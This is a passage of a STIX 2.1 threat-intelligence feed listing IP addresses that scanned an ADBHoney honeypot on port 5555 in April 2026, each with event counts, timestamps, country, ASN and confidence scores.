      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-18T13:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=214996; asn_org=netcup GmbH; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=21 | first_seen=2026-04-18T08:51:06.000Z | last_seen=2026-04-18T16:58:35.418Z | ports=5555 | cc=US | asn=214996 | org=netcup GmbH",
      "id": "indicator--3891d9a3-0514-40f9-a1bd-3d192f9fc82c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '152.53.81.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T13:00:05.000Z",
      "valid_until": "2026-05-20T13:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 21,
          "first_seen": "2026-04-18T08:51:06.000Z",
          "last_seen": "2026-04-18T16:58:35.418Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "214996"
          ],
          "org": [
            "netcup GmbH"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-18T15:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=AT; asn=210644; asn_org=Aeza Group LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-18T14:34:59.000Z | last_seen=2026-04-18T14:36:39.349Z | ports=5555 | cc=AT | asn=210644 | org=Aeza Group LLC",
      "id": "indicator--6c6c8ea4-eb50-4b31-9689-a708703c467a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '138.124.90.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T15:00:10.000Z",
      "valid_until": "2026-05-20T15:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-18T14:34:59.000Z",
          "last_seen": "2026-04-18T14:36:39.349Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "AT"
          ],
          "asn": [
            "210644"
          ],
          "org": [
            "Aeza Group LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-18T15:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=PL; asn=202520; asn_org=SkyPass Solutions Sp. z.o.o.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=47 | first_seen=2026-04-18T14:44:34.000Z | last_seen=2026-04-19T08:23:20.685Z | ports=5555 | cc=PL | asn=202520 | org=SkyPass Solutions Sp. z.o.o.",
      "id": "indicator--09c0332b-8fc1-41f4-8603-3b0dc119b73d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '83.168.69.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T15:00:10.000Z",
      "valid_until": "2026-05-20T15:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 47,
          "first_seen": "2026-04-18T14:44:34.000Z",
          "last_seen": "2026-04-19T08:23:20.685Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PL"
          ],
          "asn": [
            "202520"
          ],
          "org": [
            "SkyPass Solutions Sp. z.o.o."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-18T16:00:29.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-18T15:47:41.000Z | last_seen=2026-04-18T15:48:41.976Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--24b7becc-23d2-4ad0-b5f7-1798dfd75060",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.236.126.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T16:00:29.000Z",
      "valid_until": "2026-05-20T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-18T15:47:41.000Z",
          "last_seen": "2026-04-18T15:48:41.976Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-18T19:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=3 | first_seen=2026-04-18T18:16:19.000Z | last_seen=2026-04-18T18:17:27.089Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone",
      "id": "indicator--bd8b83e3-5f76-4881-a89d-2d8c1f7ed0b7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '116.115.108.181']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-18T19:00:03.000Z",
      "valid_until": "2026-05-20T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 3,
          "first_seen": "2026-04-18T18:16:19.000Z",
          "last_seen": "2026-04-18T18:17:27.089Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-19T00:00:12.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=134763; asn_org=CHINANET Guangdong province network; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-13T12:13:47.000Z | last_seen=2026-04-18T23:25:34.184Z | ports=5555 | cc=CN | asn=134763 | org=CHINANET Guangdong province network",
      "id": "indicator--d0076d47-5299-4cb2-a2d7-f857e35759cf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '14.152.90.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T00:00:12.000Z",
      "valid_until": "2026-05-21T00:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-13T12:13:47.000Z",
          "last_seen": "2026-04-18T23:25:34.184Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "134763"
          ],
          "org": [
            "CHINANET Guangdong province network"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-19T00:00:12.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=LU; asn=214472; asn_org=Offshore LC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-18T23:04:24.000Z | last_seen=2026-04-18T23:05:25.973Z | ports=5555 | cc=LU | asn=214472 | org=Offshore LC",
      "id": "indicator--7c4ffbe0-569b-42f9-9e62-41de9e59fd9f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '176.65.139.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T00:00:12.000Z",
      "valid_until": "2026-05-21T00:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-18T23:04:24.000Z",
          "last_seen": "2026-04-18T23:05:25.973Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "LU"
          ],
          "asn": [
            "214472"
          ],
          "org": [
            "Offshore LC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-19T03:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=21; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=23 | first_seen=2026-04-19T02:52:27.000Z | last_seen=2026-04-19T03:03:58.043Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--134db202-a58c-430f-832c-dc0095cc1b0f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T03:00:03.000Z",
      "valid_until": "2026-05-21T03:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 23,
          "first_seen": "2026-04-19T02:52:27.000Z",
          "last_seen": "2026-04-19T03:03:58.043Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-19T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=JP; asn=2516; asn_org=KDDI CORPORATION; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=14 | first_seen=2026-04-19T03:09:38.000Z | last_seen=2026-04-19T03:19:50.471Z | ports=5555 | cc=JP | asn=2516 | org=KDDI CORPORATION",
      "id": "indicator--383b3c31-9192-4343-871d-18758782086e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '14.10.1.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T04:00:03.000Z",
      "valid_until": "2026-05-21T04:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 14,
          "first_seen": "2026-04-19T03:09:38.000Z",
          "last_seen": "2026-04-19T03:19:50.471Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "JP"
          ],
          "asn": [
            "2516"
          ],
          "org": [
            "KDDI CORPORATION"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-19T05:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=6 | first_seen=2026-04-19T04:37:21.000Z | last_seen=2026-04-19T04:38:29.213Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--3a6e17ba-99a7-4d07-9288-7e83cad5fb2f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.248.182.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T05:00:03.000Z",
      "valid_until": "2026-05-21T05:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 6,
          "first_seen": "2026-04-19T04:37:21.000Z",
          "last_seen": "2026-04-19T04:38:29.213Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-19T05:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CH; asn=51852; asn_org=Private Layer INC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=83 | first_seen=2026-04-19T04:48:53.000Z | last_seen=2026-04-21T05:56:56.557Z | ports=5555 | cc=CH | asn=51852 | org=Private Layer INC",
      "id": "indicator--a934571c-3a8d-480b-ae62-6f21bc4640ee",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '31.7.58.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T05:00:03.000Z",
      "valid_until": "2026-05-21T05:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 83,
          "first_seen": "2026-04-19T04:48:53.000Z",
          "last_seen": "2026-04-21T05:56:56.557Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CH"
          ],
          "asn": [
            "51852"
          ],
          "org": [
            "Private Layer INC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-19T05:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=31; ports=5555; cc=FR; asn=3215; asn_org=Orange; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=31 | first_seen=2026-04-19T04:11:33.000Z | last_seen=2026-04-19T04:21:45.998Z | ports=5555 | cc=FR | asn=3215 | org=Orange",
      "id": "indicator--358420e9-c258-4fa9-8af8-b8fee94fe825",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '90.3.136.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T05:00:03.000Z",
      "valid_until": "2026-05-21T05:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 31,
          "first_seen": "2026-04-19T04:11:33.000Z",
          "last_seen": "2026-04-19T04:21:45.998Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "3215"
          ],
          "org": [
            "Orange"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-19T07:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=2; ports=5555; cc=DE; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=15 | first_seen=2026-04-19T05:51:16.000Z | last_seen=2026-04-19T06:01:33.761Z | ports=5555 | cc=DE | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--4cf02130-9264-41cf-a079-ceefc80f6a73",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '159.89.7.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T07:00:14.000Z",
      "valid_until": "2026-05-21T07:00:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 15,
          "first_seen": "2026-04-19T05:51:16.000Z",
          "last_seen": "2026-04-19T06:01:33.761Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-19T07:00:14.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=US; asn=8075; asn_org=Microsoft Corporation; cats=Detection of a Network Scan; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=25 | first_seen=2026-04-19T06:49:39.000Z | last_seen=2026-04-19T07:01:17.858Z | ports=5555 | cc=US | asn=8075 | org=Microsoft Corporation",
      "id": "indicator--09b0f9c6-5232-49c7-9b11-fe9ed8b95380",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '40.76.99.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T07:00:14.000Z",
      "valid_until": "2026-05-21T07:00:08.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 25,
          "first_seen": "2026-04-19T06:49:39.000Z",
          "last_seen": "2026-04-19T07:01:17.858Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "8075"
          ],
          "org": [
            "Microsoft Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-19T11:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=26; ports=5555; cc=US; asn=50219; asn_org=Valence Technology Co.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=26 | first_seen=2026-04-19T10:05:31.000Z | last_seen=2026-04-19T10:51:38.674Z | ports=5555 | cc=US | asn=50219 | org=Valence Technology Co.",
      "id": "indicator--303ae204-7771-4a1a-bec0-1d30f1d4f8e7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '194.164.107.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T11:00:03.000Z",
      "valid_until": "2026-05-21T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 26,
          "first_seen": "2026-04-19T10:05:31.000Z",
          "last_seen": "2026-04-19T10:51:38.674Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "50219"
          ],
          "org": [
            "Valence Technology Co."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-19T12:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=28 | first_seen=2026-04-19T11:06:42.000Z | last_seen=2026-04-29T06:29:00.116Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--a4783fb3-c137-4404-82bd-bd67c6780023",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.212']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-19T12:00:02.000Z",
      "valid_until": "2026-05-21T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 28,
          "first_seen": "2026-04-19T11:06:42.000Z",
          "last_seen": "2026-04-29T06:29:00.116Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-19T12:00:02.000Z",
